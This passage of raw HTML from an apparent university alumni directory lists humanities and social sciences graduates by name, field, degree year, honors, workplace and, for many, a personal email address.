style=\"width:100%;height:1px\"><br>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Narmin Khanalizada&nbsp;&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Psychology&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor&nbsp;&nbsp;2012&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Nijat İsmayil&nbsp;&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Area Studies&nbsp;&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor&nbsp;&nbsp;2012&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Nargiz Mayilova&nbsp;&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Translation Studies&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor&nbsp;&nbsp;2012</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Nilufar Alizade&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Psychology&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor&nbsp;&nbsp;2012&nbsp;(Honor)</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Narmin Sujayeva&nbsp;</strong>&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Psychology&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor&nbsp;&nbsp;2012&nbsp;(Honor)</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Narmin Nurullayeva&nbsp;</strong>&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Psychology&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor&nbsp;&nbsp;2012&nbsp;(Honor)</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Narmin Guliyeva&nbsp;&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Psychology&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor&nbsp;&nbsp;2012&nbsp;(Honor)</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Nargiz Mammdova&nbsp;&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Psychology</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor&nbsp;&nbsp;2012&nbsp;(Honor)&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Novruz&nbsp;Huseynov&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Area Studies</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail: <a href=\"mailto:huseynov@hotmail.it\">huseynov@hotmail.it</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">2012</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Narmin&nbsp;Bayramova&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Law and Social Sciences</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 1993&nbsp;/Master1998/PhD candidate at the Institute of\r\nPhilosophy and Law, National Academy Of Azerbaijan, 2006&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Phd in\r\nLaw</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">28.06.2001-01.12.2007\r\n– Scientific worker in the Research Institute of Problems of Court Expertise,\r\nCriminalistics and Criminology</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">01.12.2007-30.01.2015\r\n– Senior advisor and Head of sector in the Commission of Government Service\r\nunder the President of Azerbaijan Republic</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">02.02.2015-present\r\n– Head of department of Law and Career at the State Committee of Urbanistics\r\nand Architectute of Azerbaijan Republic</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Has\r\nthe rank of Junior Councellor of Government Service</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>\r\n<p style=\"\" margin-top:15.0pt;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;line-height:normal;background:white\"\"=\"\"><strong></strong></p><h3 id=\"O\"><strong>O</strong></h3><br>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Ofelya &nbsp;Mammadzade</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">English Language and Literature(filology)</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:Ofelya.memmedzade@mail.ru\">Ofelya.memmedzade@mail.ru</a>&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2015</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Orkhan Huseynov&nbsp;&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">International Relations</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor&nbsp;&nbsp;2011&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>\r\n<p style=\"\" margin-top:15.0pt;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;line-height:normal;background:white\"\"=\"\"><strong></strong></p><h3 id=\"P\">P</h3>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Peyman Almasov&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences,&nbsp;Area Studies</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Qafqaz Universityi, Lecturer&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:peymanalmas@gmail.com\">peymanalmas@gmail.com</a>&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">2011</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><h3 id=\"R\"><strong>R</strong></h3><p style=\"background:undefined\"><strong>Rafig Yusifzade</strong></p><p>School of Humanities and Social Sciences</p><p>Politology, 2017</p><p>E-mail:&nbsp;<a href=\"mailto:yusifzade.rafikrafik@gmail.com\">yusifzade.rafikrafik[at]gmail.com</a></p><p>“Odlar Yurdu” University.</p><p>&nbsp;<strong>&nbsp;</strong></p><p><strong>Ramazan Mammadov</strong></p><p>School of Humanities and Social Sciences</p><p>Translation, 2017</p><p>E-mail:&nbsp;<a href=\"mailto:inteligent9992@mail.ru\">inteligent9992[at]mail.ru</a>&nbsp;&nbsp;</p><p>Education: ASUE, MA</p><p>Atropat&nbsp;hotel,&nbsp;registeration department</p>  <p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong><br></strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Ruslan Salahov</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Politology</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail: <a href=\"mailto:ruslan.salahov1@mail.ru\">ruslan.salahov1[at]mail.ru</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2015</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Ramila Karimova</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences,&nbsp;International\r\nRelations</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Central Bank of Azerbaijan Republic, Department of İnternational Partnership\r\nand Communication, Specialist</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:ramilekerim5@yahoo.com\">ramilekerim5@yahoo.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2010&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Rahib&nbsp;Guliyev&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Area Studies</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Pace MMC&nbsp; Construction and Design company 3D Designer</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail: <a href=\"mailto:rahib.quliyev@gmail.com\">rahib.quliyev@gmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">2010</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Ruhangiz Asgarova &nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Psychology&nbsp;&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor&nbsp;&nbsp;2012&nbsp;(Honor)&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Rahima Eldarova &nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Psychology&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor&nbsp;&nbsp;2012&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Ramaya Tahirli &nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Translation Studies&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor&nbsp;&nbsp;2012</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Ramal Guluzade&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Theory of world political processes and International relations</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Master&nbsp;2011&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Rajab Alizade&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">English Language and Literature</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor&nbsp;&nbsp;2011</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><h3 id=\"S\"><strong>S</strong></h3><p><strong>Shahmar Mehdiyev</strong></p><p>School of Humanities and Social Sciences</p>\r\n<p>Area Studies, 2017</p>\r\n<p>E-mail: <a href=\"mailto:mehdiyev.shamar@yahoo.com\">mehdiyev.shamar[at]yahoo.com</a></p>\r\n<p>In a military service</p>\r\n<p><strong><br></strong></p><p><strong>Suraya Jabbarova </strong></p>\r\n<p>School of Humanities and Social Sciences</p>\r\n<p>Area Studies, 2017</p>\r\n<p>E-mail: <a href=\"mailto:suraya.jabbarova1@gmail.com\">suraya.jabbarova1[at]gmail.com</a> &nbsp;</p>\r\n<p>AR, State Migration Service</p>\r\n<p>&nbsp;</p>\r\n<p><strong>Shabnam Behbudzade </strong></p>\r\n<p>School of Humanities and Social Sciences</p>\r\n<p>Area Studies, 2017</p>\r\n<p>E-mail: <a href=\"mailto:shebnem.behbudova@gmail.com\" target=\"_blank\">shebnem.behbudova[at]gmail.com</a></p>\r\n<p>Jamshid\r\nNakhchivanski Military Lyceum, computer operator<strong></strong></p>\r\n<p><strong><br></strong></p><p><strong>Samir Tilazade </strong></p>\r\n<p>School of Humanities and Social Sciences</p>\r\n<p>Area Studies, 2017</p>\r\n<p>In a military service<strong></strong></p>\r\n<p><strong><br></strong></p><p><strong>Sevil Aliyeva</strong></p>\r\n<p>School of Humanities and Social Sciences</p>\r\n<p>International Relations, 2017</p>\r\n<p>E-mail:&nbsp;<a href=\"mailto:sevil102014@gmail.com\">sevil102014[at]gmail.com</a></p>\r\n<p><strong><br></strong></p><p><strong>Sabir Garayev</strong></p>\r\n<p>School of Humanities and Social Sciences</p>\r\n<p>Translation, 2017</p>\r\n<p>E-mail: <a href=\"mailto:Sabir_garayev@mail.ru\">Sabir_garayev[at]mail.ru</a></p>\r\n<p>In a military service</p>\r\n<p><strong><br></strong></p><p><strong>Shamsiyya Eynullazade </strong></p>\r\n<p>School of Humanities and Social Sciences</p>\r\n<p>Translation, 2017</p>\r\n<p><strong><br></strong></p><p><strong>Solmaz Abbaszade</strong></p>\r\n<p>School of Humanities and Social Sciences</p>\r\n<p>Translation, 2017</p>\r\n<p>E-mail: <a href=\"mailto:solmaz.abbaszade@yahoo.com.tr\">solmaz.abbaszade[at]yahoo.com.tr</a> &nbsp;<a href=\"mailto:solmaz.abbaszadeh1@gmail.com\">solmaz.abbaszadeh1[at]gmail.com</a></p>\r\n<p>ECIC\r\nEnglish School, Teacher</p>\r\n<p><strong><br></strong></p><p><strong>Samir Guliyev </strong></p>\r\n<p>School of Humanities and Social Sciences</p>\r\n<p>Translation, 2017</p>\r\n<p>E-mail: <a href=\"mailto:Iman.iman.2015@inbox.ru\">Iman.iman.2015[at]inbox.ru</a></p><p><a href=\"mailto:Iman.iman.2015@inbox.ru\"></a>Personal business</p>\r\n<p><strong><br></strong></p><p><strong>Seljan Aliyeva </strong></p>\r\n<p>School of Humanities and Social Sciences</p>\r\n<p>English Language and Literature, 2017</p>\r\n<p>E-mail: <a href=\"mailto:ase1996@bk.ru\">ase1996[at]bk.ru</a></p>\r\n<p><strong><br></strong></p><p><strong>Sharmin Gahramanova</strong></p>\r\n<p>School of Humanities and Social Sciences</p>\r\n<p>English Language and Literature, 2017</p>\r\n<p>E-mail: <a href=\"mailto:shermin_gahramanova@mail.ru\">shermin_gahramanova[at]mail.ru</a> &nbsp;</p>\r\n<p>&nbsp;Azer Trade Electronics\r\nLLC&nbsp;(1C operator)</p>\r\n<p><strong><br></strong></p><p><strong>Sabina Ibrahimova</strong></p>\r\n<p>School of Humanities and Social Sciences</p>\r\n<p>English Language and Literature, 2017</p>\r\n<p>E-mail: <a href=\"mailto:sabin_i95@mail.ru\">sabin_i95[at]mail.ru</a>&nbsp; </p>\r\n<p>Polsha,\r\nWarsaw- AIESEC University, English language instructor<strong></strong></p>\r\n<p><strong><br></strong></p><p><strong>Sevil Rasulzade</strong></p>\r\n<p>School of Humanities and Social Sciences</p>\r\n<p>Radiotelejournalism, 2017</p>\r\n<p>E-mail: <a href=\"mailto:sevilyaaresulzade@gmail.com\">sevilyaaresulzade[at]gmail.com</a></p>\r\n<p>State Committee for Family, Women and Children Affairs, Leading Advisor\r\nai the Department of Information and Analitical Research</p>  <p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong><br></strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Sevinj Babayeva</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Journalism</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Azerfon -marketing survey</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:sbabayeva@azerfon.az\">sbabayeva@azerfon.az</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">2014</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Sevinj&nbsp; Gasimzade</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Area Studies</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:sevinjgasimzade@gmail.com\" target=\"_blank\">sevinjgasimzade@gmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2014</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Sevinj Babayeva</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Journalism</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Azerfon Company</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail: <a href=\"mailto:sbabayeva@azerfon.az\">sbabayeva@azerfon.az</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2015</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Siddiga Ahmadova</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">English/Journalism</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">BMT</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:<a href=\"mailto:siddiga@gmail.com\">siddiga@gmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">2000</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Sona Dadashova</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Filology: English\r\nLanguage and Literature, The Persian language</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">ADA University, Office of Admissions</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail: <a href=\"mailto:sdadashova@ada.edu.az\">sdadaShova@ada.edu.az</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">2004</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Sahib&nbsp;Baljanov&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Politology</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">\"Azerbaijan Steel Production Complex” QSC</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:<a href=\"mailto:sahib.baljanov@yahoo.com\">sahib.baljanov@yahoo.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">2012</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Sakhavat&nbsp;Mutallimov</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Politology</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">City mansion hotel</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:<a href=\"mailto:Sexavetmutallim@gmail.com\">Sexavetmutallim@gmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">2011</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Solmaz Suleymanova&nbsp;&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Psychology&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor&nbsp;&nbsp;2010</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Safar Safarov</strong>&nbsp;&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Politology</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor&nbsp;&nbsp;2006&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Sahib Mammadov&nbsp;&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Journalism&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor&nbsp;&nbsp;2011&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Sabina Mammadova &nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Politology&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor&nbsp;&nbsp;2012</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Sevinj Ahmadova&nbsp;&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Clinical Psychology&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Master 2014&nbsp;(Honor&nbsp;)</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Sevda Taghizada&nbsp;</strong>&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Translation Studies&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor&nbsp;&nbsp;2011</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Subhana Osmangizi&nbsp;&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" 